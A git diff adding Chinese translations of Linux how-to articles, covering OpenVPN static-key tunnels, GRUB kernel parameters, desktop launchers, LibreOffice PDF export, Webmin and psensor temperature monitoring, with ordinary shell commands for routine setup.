Message of the Day(MOTD)图片,图片来自于博客《[在你的 Linux 系统上放一张奶牛的 MOTD 图片][2]》: + + $ ssh carla@10.0.0.2 + +![](http://www.linux.com/images/stories/41373/SSH-OpenVPN.jpg) + +*图1:成功通过 VPN 隧道建立 SSH 会话,并显示了有趣的 MOTD 图片* + +哼哼哈嘿,它运行得不错! + +### 加密后的 VPN 隧道 ### + +目前为止,我们玩得还不赖,但是没有使用加密技术,一切都毫无意义,所以我们需要建立一个简单的静态密钥配置文件。不像公钥基础设施(PKI),有着根认证中心、可撤消认证等安全措施,我们的加密机制没有那么强悍,但是对于仅仅想远程到家里的用户来说,已经足够了。OpenVPN 有提供创建静态密钥的命令,我们可以建立目录存储密钥、创建密钥,并将文件设为对属主只读模式: + + $ sudo mkdir /etc/openvpn/keys/ + $ sudo openvpn --genkey --secret /etc/openvpn/keys/static.key + $ sudo chmod 0400 /etc/openvpn/keys/static.key + +这是个明文密钥,你可以利用文本编辑器打开密钥文件读取到它,文件名可以随意,不一定非得叫“static.key”。将这个密钥拷到需要通信的两台电脑上,呵呵,这是对称加密,而不是公钥加密。 + +现在我们要在两台电脑上完成基本的配置。(在非类 Ubuntu 的系统中,OpenVPN 没有提供默认的配置文件,但是在 /usr/share/doc/openvpn/ 目录下会为你提供一个配置文件的样本。)在我的实验中,“Studio”是服务器端,“Shop”是一台笔记本电脑,用于登录到“Studio”中。我的服务器端的配置文件是 /etc/openvpn/studio.conf,它的配置信息如下: + + # config for Studio + dev tun + ifconfig 10.0.0.1 10.0.0.2 + secret /etc/openvpn/keys/static.key + +将配置文件设为只有拥有者有读写权限: + + $ sudo chmod 0600 /etc/openvpn/studio.conf + +客户端的配置文件内容类似,只是多了服务器端的 IP 地址: + + # config for Shop + dev tun + ifconfig 10.0.0.2 10.0.0.1 + secret /etc/openvpn/keys/static.key + remote 192.168.1.125 + +注意 ifconfig 那行的 IP 地址的顺序,本地的 IP 要放在远程的 IP 之前。现在启动服务器端的 OpenVPN,指定服务器端配置文件,客户端操作雷同: + + $ sudo openvpn /etc/openvpn/studio.conf + $ sudo openvpn /etc/openvpn/shop.conf + +成功建立连接后,你还会看到“**Initialization Sequence Completed**”这句话,但你不会再看到这句 WARNING(这句话会在你建立了未加密的隧道时出现): + + ******* WARNING *******: all encryption and authentication features disabled + +### 防火墙和动态 IP 地址 ### + +OpenVPN 本身是比较容易配置的,最麻烦的是处理防火墙和动态 IP 地址。防火墙种类众多,对于如何配置防火墙不拦截你的隧道,我把这个话题当作家庭作业留给你自己解决:P。OpenVPN 的端口是1194,你可以在防火墙上设置一个转发规则,用于将消息转发到你的目标服务器。 + +接下来处理另一件麻烦事:动态 IP 地址。[Dyn.com][3]可以提供一个廉价的方法,为你管理 ISP 分配给你的动态 IP,或者你也可以向你的 ISP 支付一笔费用,从而得到一个静态 IP。 + +至此,你可以宣告工作完成了,接下来的任务就是手动开启服务器端的 OpenVPN,让它一直运行在那里,等待你的登录。你可以将你的笔记本拿到外面,并随时随地随心所欲地连接到服务器。然而,关于 OpenVPN 的操作,我还有一些重要的知识点要讲,比如如何为 OpenVPN 设置开机启动,如何利用 Network Manager 自动建立连接,以及这篇 OpenVPN 教程中最重要的一块:如何访问你的远程服务器上的资源。请看下一篇。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/learn/tutorials/743590-secure-remote-networking-with-openvpn-on-linux + +译者:[bazz2](https://github.com/bazz2) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.debian.org/security/2008/dsa-1571 +[2]:http://www.linux.com/learn/tutorials/741573-put-a-talking-cow-in-your-linux-message-of-the-day +[3]:http://dyn.com/dns/ diff --git a/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md b/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md new file mode 100644 index 0000000000..6459a85547 --- /dev/null +++ b/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md @@ -0,0 +1,94 @@ +Linux上如何通过 OpenVPN 建立安全的远程连接【下】 +================================================================================ + +欢迎你们回来继续看我们的 OpenVPN 系列的下篇。[上次][1]我们讲到如何让远端计算机(如笔记本电脑)[通过简单的加密隧道][1]登录到家里的服务器。今天我们接着讲进阶部分:比如设置 OpenVPN 开机启动,省得我们每次重启服务器的时候都要手动开启 OpenVPN 服务;比如使用 Network Manager 简化访问到远程服务器的过程。 + +### 整合到 Network Manager ### + +Network Manager 是一个不错的 OpenVPN 客户端;你只需要安装 network-manager-openvpn 这个插件。我们继续[上篇][1]使用的配置。打开 Network Manager 配置界面,进入“新建 VPN 连接”的窗口。这个界面布局在 KDE 和 GNOME 下面看起来有点不一样,但是大体的信息是一样的。开始的时候你需要选择 OpenVPN 作为你的 VPN 连接类型,就像图1所示;如果你没看到 OpenVPN 的选项,说明你没有安装好插件。(图1是一张 GNOME 下面的图片。) + +![](http://www.linux.com/images/stories/41373/figu-1-openvpn-nm.jpg) + +*图1:在 Network Manager 上新建 OpenVPN 客户端 * + +图2显示了配置主界面。从上到下分别为: + +- 连接名,随便取一个。 +- 远程服务器的网关。 +- 下拉菜单选择静态密钥(Static Key)。 +- 然后通过文件浏览器找到静态密钥文件。 +- 这个不是方向性的密钥,所以 Key Direction 这里设为 None。 +- 远程 IP 和 本地 IP 是我们在上一部分已经设置好的虚拟 OpenVPN 地址,可分别通过 /etc/openvpn/studio.conf 和 /etc/openvpn/shop.conf 文件获得。 +- 我们无需设置密码,所以“Show passwords”复选框为空。 +- 这个VPN连接是“所有人都可用”,还是只有你可用,随你喜欢。 + +![](http://www.linux.com/images/stories/41373/fig-2-openvpn-nm-1.jpg) + +*图2:Network Manager 配置 OpenVPN 客户端主界面* + +保存然后就可以使用 Network Manager 建立连接了。So easy,妈妈再也不用担心我的学习了!看见图3了么?你现在只需点击一下高亮的按钮就可以连接到你的家庭服务器,或从你的家庭服务器中断开连接。 + +![](http://www.linux.com/images/stories/41373/fig-3-openvpn-nm-3.jpg) + +### OpenVPN 开机启动 ### + +手动开启 OpenVPN 很简单,但是你也许想要更简单,让它能够在服务器重启的时候跟着自动启动。在 Debian/Ubuntu 以及绝大部分发行版中,当你安装完 OpenVPN 的时候就被设置为开机启动的。所以你需要重启系统,或者按下面的方法启动后台进程: + + $ sudo /etc/init.d/openvpn start + $ sudo service openvpn start + +第一个命令是比较老的启动方法,第二个命令使用了“service”命令。“service”命令第一次出现在 Red Hat 发行版中,如果你的发行版中没有安装这个命令,你需要从你的软件源里面去找到它。 + +Ubuntu 使用 Upstart 管理服务进程,Debain 使用的老的 SysV,而 Fedora 使用“systemd”。如果你在 /etc/openvpn 目录下配置了多个 OpenVPN 的服务,你可以通过“systemd”的命令启动你要的服务: + + # systemctl start openvpn@studio.service + +这里的“studio.service”与我们在上篇讲过的例子中的 /etc/openvpn/studio.conf 配置的服务相对应。用这些方法启动的后台进程,在系统重启后会失效,所以这些方法都和上篇讲的启动方式一样,仅能使 OpenVPN 运行一次。你可以将启动 OpenVPN 进程的任务交给 chkconfig: + + # service openvpn start + # chkconfig openvpn on + +上面列出的是启动 OpenVPN 后台进程最常见的方式,这个命令启动了一整个进程,而不是对 /etc/openvpn/下面的所有 .conf 配置文件都维护一个进程。systemd 支持chkconfig 以及 service 命令,所以上面两条命令能够正常工作。然而使用 systemd 的发行版非常多,如果你的工作环境和我们的不一样,请通过发表评论的方式通知我们。 + +### 强化你的连接 ### + +OpenVPN 的健壮性足够维持一条持久的连接,即使服务宕掉。而你可以令这个连接变得更加稳定,只需要在服务器端和客户端的 .conf 文件内添加下面两条属性: + + persist-tun + persist-key + +这两条属性对于那些笔记本电脑用户来说非常有用,他们的电脑会因为电源保护或需要移来移去而经常断开 OpenVPN 的连接。 + +### 现在,该做些什么? ### + +你已经完成了所有设置,并且你的服务工作正常,你接下来能用这个干点什么?如果你以前一直用 OpenSSH 来远程你的服务器,你会有这样的思维定势:你可以利用 OpenVPN 登录到远程机器,然后跑上面的应用。你要是那样做,就太浪费 OpenVPN 了。你可以将 OpenVPN 想像成是一条虚拟的以太网电缆接到你的服务器上或者是你的局域网内,这条电缆还包着厚厚的加密保护。你可以在它提供的隧道上跑任何加密的或不加密的服务,并且只需要在防火墙上开一个端口。 + +所以你可以利用 OpenVPN 隧道来建立 SSH 连接,然后远程到服务器,然后在服务器上跑应用。你可以访问到网络资源,比如文件共享和 Web 应用。你可以强制让你的电脑通过 VPN 隧道访问到网络,但我认为你会想要同时能够使用本地网络和 VPN 网络的。 + +所以,在你的笔记本上你可以上网冲浪,使用 SSH,做你想做的任何事,上你想上的**任何**网络。当你想利用 OpenVPN 隧道做一些事情时,你只需要打开它,然后输入 IP 地址: + + $ ssh carla@10.0.0.1 + +对于一些 Web 服务,操作也简单:让你的 Web 浏览器访问到 OpenVPN 的 IP 地址然后登录进去。举个例子,我在我家的服务器上跑了多个 Web 服务做测试,我可以通过[http://10.0.0.1/drupal][2]访问 Drupal,可以通过[http://10.0.0.1/owncloud][3]访问 OwnCloud。我电脑上有优秀的图形界面 FTP 客户端 gFTP,所以只需要填入 IP 地址、用户名、密码就能访问到 FTP 服务器,或者使用下面的命令: + + $ ftp 10.0.0.1 21 + +你可以远程管理你的 MySQL 数据库,输入帐号密码: + + $ mysql -h 10.0.0.1 -u admin -p + +所以最重要的是你要知道怎么去配置一个你想要玩的功能。 + +很显然,当我们使用名称服务(name service)时,会比直接使用 IP 地址更方便。所以某一天我们可以学学如何在 OpenVPN 上布署一个名称服务。现在,先享受一下 OpenVPN 带给你的乐趣吧。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/learn/tutorials/745233-how-to-set-up-secure-remote-networking-with-openvpn-on-linux-part-2 + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2286-1.html +[2]:http://10.0.0.1/drupal +[3]:http://10.0.0.1/owncloud diff --git a/published/201311/How to add icons to menus in Ubuntu 13.10.md b/published/201311/How to add icons to menus in Ubuntu 13.10.md new file mode 100644 index 0000000000..3fd685e02a --- /dev/null +++ b/published/201311/How to add icons to menus in Ubuntu 13.10.md @@ -0,0 +1,39 @@ +如何在Ubuntu 13.10中给菜单添加图标 +================================================================================ + +通常,使用Ubuntu 13.10的用户会会对默认的程序、偏好和功能进行优化,才能得到更好的用户体验。 + +Ubuntu的用户体验是可以优化调整的,因此用户可以通过一些工具来修改和调整那些默认设置,比如使用Ubuntu Tweak。 + +默认情况下,Ubuntu禁用了内部菜单的图标,即,右键点击桌面打开右键菜单时,菜单中只包含文本而且没有相应的图标。 + +不过,在Ubuntu 13.10的菜单中添加图标是很简单的: + +- 安装Ubuntu Tweak + + sudo add-apt-repository ppa:tualatrix/ppa + + sudo apt-get update + + sudo apt-get install ubuntu-tweak + +- 启动Ubuntu Tweak,并导航到`Tweaks-->Miscellaneous` +- 选中 `Menus have icons` + +**结果**:现在右键点击桌面,图标就会在菜单中显示, 图标显示也会在其他软件的右键菜单出现(例如, Nautilus, Firefox, Gedit中的菜单等等)。 + +![](http://iloveubuntu.net/pictures_me/menu%20icon%203%20ubuntu%2013.10.png) + +![](http://iloveubuntu.net/pictures_me/menu%20icons%20ubuntu%2013.10%201.png) + +![](http://iloveubuntu.net/pictures_me/menu%20icons%20ubuntu%2013.10%202.png) + +这样在最常用的右键菜单中加上新增的图标,菜单会更加清晰和美丽,特别是使用单色图标菜单显示图标时。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/how-add-icons-menus-ubuntu-1310 + +译者:[Yu-Fei](http://blog.csdn.net/u011459130) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201311/How to add kernel boot parameters via GRUB on Linux.md b/published/201311/How to add kernel boot parameters via GRUB on Linux.md new file mode 100644 index 0000000000..8b14d25a6d --- /dev/null +++ b/published/201311/How to add kernel boot parameters via GRUB on Linux.md @@ -0,0 +1,54 @@ +如何在linux上通过GRUB添加内核参数 +================================================================================ + +我们可以在linux内核启动时为其提供各种各样的参数。这些参数可以自定义内核默认的行为,或者通知内核关于硬件的配置信息。内核参数应在内核启动时通过引导装载程序,如GRUB或LILO传递给内核。 + +在本教程中,我将会描述**如何在linux上通过GRUB添加内核参数**。 + +如果你在使用GRUB引导装载程序,想修改或添加内核参数,你可以编辑GRUB配置文件。下面是针对特定发行版在GRUB的配置文件中添加内核启动参数的方法。 + +### 在Debian或Ubuntu上添加内核启动参数### + +在基于Debian的系统上,如果你想在系统启动时添加内核参数,你可以编辑 /etc/default/grub 目录下的GRUB配置模板。在 GRUB\_CMDLINE\_LINUX\_DEFAULT 变量中以 “name=value” 的格式添加内核参数。 + + $ sudo -e /etc/default/grub + +> GRUB\_CMDLINE\_LINUX\_DEFAULT="...... name=value" + +然后运行下面的命令来生成一个GRUB的配置文件。 + + $ sudo update-grub + +如果无法找到 update-grub 命令,你可以通过下面的命令安装它。 + + $ sudo apt-get install grub2-common + +### 在Fedora上添加内核启动参数 ### + +在Fedora上,想要在启动时添加内核参数,你可以编辑 /etc/default/grub目录下的 GRUB 配置模板。在 GRUB\_CMDLINE\_LINUX 变量中以 “name=value” 的格式添加内核参数。 + + $ sudo -e /etc/default/grub + +> GRUB\_CMDLINE\_LINUX="...... name=value" + +然后运行下面的命令生成 GRUB2 配置文件。 + + $ sudo grub2-mkconfig -o /boot/grub2/grub.cfg + +### 在CentOS上添加内核启动参数 ### + +在CentOS上,想要在启动时添加内核参数,你可以直接编辑GRUB配置文件 /boot/grub/grub.conf。在配置文件中,找到描述默认使用的Linux映像的条目。文件中最顶行的字符串 “default=N”会指示哪一个条目是默认的映像。 + +[![](http://farm8.staticflickr.com/7429/10618657834_8082c2806b_z.jpg)][1] + +找到默认的映像条目后,在以 “kernel /vmlinuz-” 开头的那一段的结尾附加上内核参数。参数的格式为 “name=value” 。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/add-kernel-boot-parameters-via-grub-linux.html + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.flickr.com/photos/xmodulo/10618657834/ diff --git a/published/201311/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md b/published/201311/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md new file mode 100644 index 0000000000..4883e64945 --- /dev/null +++ b/published/201311/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md @@ -0,0 +1,33 @@ +如何使用LibreOffice把DOCX,DOC,RTF,ODT转换成PDF +================================================================================ +在学校、公司、政府,或者是在网页传播的书籍、文档、报告、教程等等文档均被封装成各种格式。 + +有时候,会有某一些特定的需求,比如把一个文档转换成PDF格式,这时通过[LibreOffice][1]. 就能轻易完成。 + +使用LibreOffice Writer,用户可以轻易地把书籍、文档等等文件转换成PDF格式,而且还可以把任意可以打开的格式转换成PDF格式。 + +举个例子,把DOC文档转换成PDF格式 + +- 右键单击DOC文档,点击“Open With LibreOffice Writer”,使用LibreOffice打开DOC文档 + +![](http://iloveubuntu.net/pictures_me/libreoffice%20convert%20pdf%20ubuntu%2013.10.png) + +- 在导航栏中依次选中LibreOffice-->File-->Export as PDF,在弹出的PDF Options对话框中,选择文件路径(对话框中程序已经智能的设置了默认选项) + +![](http://iloveubuntu.net/pictures_me/libreoffice%20export%20as%20pdf%2013.10.png) + +点击Export按钮,就能把DOC文档转换成PDF格式并且保存在指定目录。 + +成果:在DOC文档边上的就是新的PDF文档(原有的DOC文档仍被保留)。 + +同样的道理,还可以应用在RTF, DOCX, ODT等其他格式的文档上。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/how-convert-docx-doc-rtf-odt-pdf-libreoffice + +译者:[NearTan](https://github.com/NearTan) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.libreoffice.org/ \ No newline at end of file diff --git a/published/201311/How to create desktop shortcut or launcher on Linux.md b/published/201311/How to create desktop shortcut or launcher on Linux.md new file mode 100644 index 0000000000..31c669f906 --- /dev/null +++ b/published/201311/How to create desktop shortcut or launcher on Linux.md @@ -0,0 +1,80 @@ +如何在Linux的桌面上创建快捷方式或启动器 +=== +如果在Linux桌面系统中你经常使用一个程序,你可能想去创建一个“桌面快捷方式”,以便于你在桌面只要点击一下快捷方式就可以启动它。虽然不少带有图形界面的程序会在安装时自动在桌面上创建快捷方式,还有一些图形界面程序或者命令行程序可能需要你手动创建快捷方式。 + +在这个教程里,我将告诉你**如何在不同的Linux桌面上添加桌面快捷方式**。(译注:其实除了作者所述的这些方法外,各种桌面上也还有更简便的方法,大家可以评论分享自己的经验) + +一个桌面快捷方式是由内含该APP元信息(例如,app的名字,启动命令或者图标位置等)的.desktop文件所表示的。桌面快捷方式文件放置于**/usr/share/applications**或者**~/.local/share/applications**处。前一个目录存储的桌面快捷方式每个用户都可以使用,而后一个目录则含有仅仅为特定用户创建的快捷方式。 + +###使用命令行创建桌面快捷方式 + +要为特定程序或命令创建桌面快捷方式,你可以使用任意文本编辑器创建一个.desktop文件,然后把它放到**/usr/share/applications**或者**~/.local/share/applications**处。一个典型的.desktop文件如下图所示。 + + [Desktop Entry] + Encoding=UTF-8 + Version=1.0 #version of an app. + Name[en_US]=yEd #name of an app. + GenericName=GUI Port Scanner #longer name of an app. + Exec=java -jar /opt/yed-3.11.1/yed.jar #command used to launch an app. + Terminal=false #whether an app requires to be run in a terminal + Icon[en_US]=/opt/yed-3.11.1/icons/yicon32.png #location of icon file. + Type=Application #type + Categories=Application;Network;Security; #categories in which this app should be listed. + Comment[en_US]=yEd Graph Editor #comment which appears as a tooltip. + +除了手动创建.desktop文件之外,依据你的系统所采用的桌面环境的不同有不同的创建应用快捷方式的方法,接下来的教程我将为你讲解。 + +###在GNOME桌面下创建快捷方式 + +在GNOME桌面环境下,你可以使用gnome-desktop-item-edit轻松创建创建一个桌面快捷方式。 + + $ gonme-desktop-item-edit ~/.local/share/applications --create-new + +在这个例子中,gnome-desktop-item-edit会在目录~/.local/share/applications中自动创建一个桌面启动器文件。若是想自定义快捷方式图标或者其它信息,你可以手动编辑.desktop文件。 + +如果在你的系统上,gnome-desktop-item-edit不可用(例如,在Ubuntu上),你可以依照下面方式安装: + + $ sudo apt-get install --no-install-recommends gnome-panel + +###在KDE桌面创建快捷方式 + +kickoff是KDE桌面默认的应用启动器。可以直接在kickoff里添加新的应用启动快捷方式。 + +首先右击位于你桌面左下角处的kickoff图标,然后选择菜单“编辑应用”。 + +[![](http://farm3.staticflickr.com/2839/10848506344_7949638fe0.jpg)][1] + +在你要创建快捷方式的合适分类处(例如, "Utilities")右击,点击位于顶部的“新条目”按钮,键入应用的名字。 + +[![](http://farm8.staticflickr.com/7459/10848418496_ac6de897fe_z.jpg)][2] + +最后,填上使用快捷方式启动app时所需的元信息即可。 + +[![](http://farm8.staticflickr.com/7347/10848506284_18c8d9234d_z.jpg)][3] + +###在xfce桌面上创建快捷方式 + +假如你使用xfce桌面,在桌面空白处右击,选择“创建启动器”按钮。然后填上快捷方式的详细信息就可以了。 + +###在Cinnamon桌面上创建快捷方式 + +假如使用的是Linux Mint的Cinnamon桌面,你可以在桌面空白处右击鼠标,选择菜单“创建启动器”而创建一个应用启动器。 + +###在LXDE桌面上创建快捷方式 + +在LXDE桌面,你只需在桌面空白处右击一下鼠标,然后选择“创建新快捷方式”就可以咯。 + +[![](http://farm4.staticflickr.com/3725/10848922593_441ed98174.jpg)][4] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/create-desktop-shortcut-launcher-linux.html + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.flickr.com/photos/xmodulo/10848506344/ +[2]:http://www.flickr.com/photos/xmodulo/10848418496/ +[3]:http://www.flickr.com/photos/xmodulo/10848506284/ +[4]:http://www.flickr.com/photos/xmodulo/10848922593/ diff --git a/published/201311/How to manage Linux server with GUI.md b/published/201311/How to manage Linux server with GUI.md new file mode 100644 index 0000000000..49dc9ffbe4 --- /dev/null +++ b/published/201311/How to manage Linux server with GUI.md @@ -0,0 +1,87 @@ +如何使用图形界面Webmin管理linux服务器 +================================================================================ +一台典型的linux服务器运行命令行环境中,并已经包括了一些用于安装和配置各种没有界面的服务的基本工具。和一些成熟的具有图形界面的桌面软件相比,就安全性、资源消费和速度来说,仅需要少量的设置无疑是一个优点。 + +如果你习惯了使用基于图形界面的软件环境,你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如`GNOME`、`KDE`等,与它们提供的功能相比,其所占用的系统资源负担是很不值得的,而且还不够安全,因为越多的代码越会带来安全弱点。 + +另外一个成熟的桌面GUI的可选替代是使用 **基于Web的管理工具**。现在已经有许多基于Web的配置管理工具,如 [Webmin][1]、[ISPconfig][2]、[Zentyal][3]等。 + +在这篇教程中, 我会讲述 **怎样利用基于Web的界面工具来管理和配置Linux服务器**。 + +Webmin 是一个用`Perl`语言写的轻量级 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器, 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的,你可以选择性加载[模块][12]来扩展其功能。 + +### Linux服务器上安装Webmin ### + +在 Ubuntu 或 Debian 系统中安装Webmin, 你可以使用如下命令。 + + $ sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python + $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb + $ sudo dpkg -i webmin_1.660_all.deb + +在CentOS 或 RHEL 系统中安装Webmin, 使用如下命令: + + $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb + $ sudo rpm -U webmin-1.660-1.noarch.rpm + +### 使用 Webmin ### + +安装好Webmin之后,你可以通过在浏览器中输入 https://\<主机的IP地址\>:10000 来使用。 如果你开启了防火墙, 请确保TCP端口 10000 没有被拦截。 + +同时, 请注意你应该使用 HTTPS, 而不是 HTTP。 否则, 会出现重定向错误。 Webmin 默认使用其自己生成的的SSL验证模式。 + +一旦你进入了Webmin登录页面, 你可以使用root身份登录 (当然需要输入root账户密码)或者使用具有root权限的任何用户账户登录。 登录成功后, 你可以看到如下Linux服务器的状态信息。 + +[![](http://farm4.staticflickr.com/3803/10937800943_e1ac465c3f_z.jpg)][4] + +### Webmin 的特点 ### + +Webmin 一个引以为豪的优点就是它几乎能够配置任何Linux服务器所支持的配置。接下来我来介绍,让你们大体了解它的一些重要功能。 + +设置引导时自动启动的服务, 同时显示他们相关配置信息。 + +[![](http://farm8.staticflickr.com/7437/10937589506_7abcaac10e_z.jpg)][5] + +实时监控服务器状态和其他服务, 同时配置定时监控及邮件提醒。 你也可以监控一系列服务器守护进程如 NFS、MySQL、 BIND DNS、Squid proxy、Apache Web server等, 或者监控系统资源如磁盘存储情况、内存使用和网络占用等。 + +[![](http://farm6.staticflickr.com/5521/10937589676_a64d4eee57_z.jpg)][6] + +配置 iptables-based firewall。 + +[![](http://farm4.staticflickr.com/3679/10937801173_61cd4b11a3_z.jpg)][7] + +配置本地路由表和网关。 + +[![](http://farm6.staticflickr.com/5545/10937531925_a5d77384ac_z.jpg)][8] + +挂载和配置文件系统。 + +[![](http://farm4.staticflickr.com/3710/10937589556_9fd192cdb9_z.jpg)][9] + +通过文件管理接口来查看和修改本地文件,但是这需要浏览器有相关的java插件。 + +[![](http://farm6.staticflickr.com/5544/10937531975_368196fd03_z.jpg)][10] + +通过改变Webmin的相关配置,你可以控制管理 IP 地址,添加/删除 Webmin 功能模块,开启双因子认证来使用安全登录功能,或者创建证书验证等。 + +[![](http://farm8.staticflickr.com/7317/10937532015_b5e1263496_z.jpg)][11] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/manage-linux-server-gui.html + +译者:[thinkinglk](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.webmin.com/ +[2]:http://www.ispconfig.org/ +[3]:http://www.zentyal.org/ +[4]:http://www.flickr.com/photos/xmodulo/10937800943/ +[5]:http://www.flickr.com/photos/xmodulo/10937589506/ +[6]:http://www.flickr.com/photos/xmodulo/10937589676/ +[7]:http://www.flickr.com/photos/xmodulo/10937801173/ +[8]:http://www.flickr.com/photos/xmodulo/10937531925/ +[9]:http://www.flickr.com/photos/xmodulo/10937589556/ +[10]:http://www.flickr.com/photos/xmodulo/10937531975/ +[11]:http://www.flickr.com/photos/xmodulo/10937532015/ +[12]:http://www.webmin.com/standard.html diff --git a/published/201311/How to monitor system temperature on Linux.md b/published/201311/How to monitor system temperature on Linux.md new file mode 100644 index 0000000000..94c6695a6b --- /dev/null +++ b/published/201311/How to monitor system temperature on Linux.md @@ -0,0 +1,111 @@ +如何在Linux下监控系统温度 +================================================================================ + +大多数情况下,你无需担心你的电脑温度。除非制造上的缺陷,否则硬件设计一般不会使其超过最高工作温度。但即使没有任何硬件故障,各种各样的软件问题也会导致硬件过热,例如,显卡驱动的严重bug,风扇控制程序的错误配置,CPU调频守护进程的故障,等等。 + +严重的过热可能会对硬件造成永久性的伤害,所以应当时刻小心系统上的任何过热问题。因此,如果有合适的温度监控系统,能在系统温度突然急速上升时,第一时间向用户发出警报,岂不美哉? + +本教程,我将描述**如何在Linux下监控系统温度**。 + +在Linux下有许多用户级工具可以检查和监控各种系统组件的温度。 + +例如[lm-sensors][1],它可以从硬件嵌入式传感器获取信息,以达到监测温度、电压、湿度和风扇的作用;还有[hddtemp][2],它可以通过读取[S.M.A.R.T.][3]参数来测量温度;今天我们要介绍的是[psensor][4],这是一款前端图形化界面温度监测工具,能够可视化显示CPU、Nvidia/ATI/AMD各家显卡以及硬盘等多个硬件设备的温度。 + +接下来,我将描述如何设置psensor来监控CPUs和硬盘的温度。 + +### 在Linux 桌面系统中安装 psensor### + +使用psensor可视化显示系统温度,需要基于其他工具诸如lm-sensors和hddtemp等获得的数据。因此你需要在安装psensor的同时,一并安装这两款工具。 + +在Debian或Ubuntu下安装psensor: + + $ sudo apt-get install lm-sensors hddtemp psensor + +在Ubuntu下还可以通过PPA仓库安装最新版本的psensor: + + $ sudo add-apt-repository ppa:jfi/ppa + $ sudo apt-get update + $ sudo apt-get install lm-sensors hddtemp psensor + +在Fedora下安装psensor: + + $ sudo yum install lm_sensors hddtemp + $ sudo yum install gcc gtk3-devel GConf2-devel lm_sensors-devel cppcheck libatasmart-devel libcurl-devel json-c-devel libmicrohttpd-devel help2man libnotify-devel libgtop2-devel make + $ wget http://wpitchoune.net/psensor/files/psensor-0.8.0.3.tar.gz + $ tar xvfvz psensor-0.8.0.3.tar.gz + $ cd psensor-0.8.0.3 + $ ./configure + $ make + $ sudo make install + +这里注意,由于需要GTK3库的支持,psensor无法与搭载GNOME2桌面的CentOs或RHEL 6兼容。 + +### 在Linux中配置 psensor ### + +在启动 psensor之前,你需要先配置lm_sensors和hddtemp。 + +#### lm_sensors 配置 #### + +运行以下命令,配置lm_sensors,每一项都选择YES。 + + $ sudo sensors-detect + +这个命令将会探查和检测你硬件中嵌入的传感器(包括CPUs、储存控制器、I/O芯片),然后自动决定系统中哪个驱动模块需要载入并监测其温度。 + +一旦传感器检测完成,你需要把检测到的驱动模块添加到/etc配置中,这样它们才可以在开机时自动加载。 + +![img](http://farm6.staticflickr.com/5476/10719567256_029533a588_z.jpg) + +在Debian或Ubuntu下,检测到的驱动模块将会被添加到/etc/modules。在Fedora下,驱动信息会添加到/etc/sysconfig/lm_sersors。 + +接下来,继续加载必要的模块,如下: + +Ubuntu: + + $ sudo service module-init-tools start + +Debian: + + $ sudo /etc/init.d/kmod start + +Fedora + + $ sudo service lm_sensors start + +#### hddtemp 配置 #### + +你还需要启动hddtemp,监控硬盘驱动器的温度。 + +运行下列命令,作为一个守护进程启动hddtemp。记得把“/dev/sda”替换成你系统上的硬盘驱动器。 + + $ sudo hddtemp -d /dev/sda + +### 用 psensor 监控系统温度 ### + +要启动psensor监测温度,只需简单运行: + + $ psensor + +psensor窗口将显示一个可用的传感器列表,并将传感器中读出的温度可视化显示出来。你可以选择性地启用或禁用任意一个传感器。 + +[![](http://farm8.staticflickr.com/7448/10719475225_f89b6f7191_z.jpg)][5] + +另外,你可以为每个传感器设置警报级别,这样当传感器温度超过某一阈值时,你就能得到通知了。 + +![img](http://farm6.staticflickr.com/5534/10719755343_ba143454af_z.jpg) + +psensor默认使用的温度单位是“摄氏度”,最新的版本(0.7-0.8)支持在摄氏与华氏之间转换温度单位,如果你用的版本比较旧(例如0.6.x)并且不支持温度单位转换,Ubuntu用户可以通过PPA仓库来安装最新版的psensor,Debian用户则可以通过源代码来安装。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/monitor-system-temperature-linux.html + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 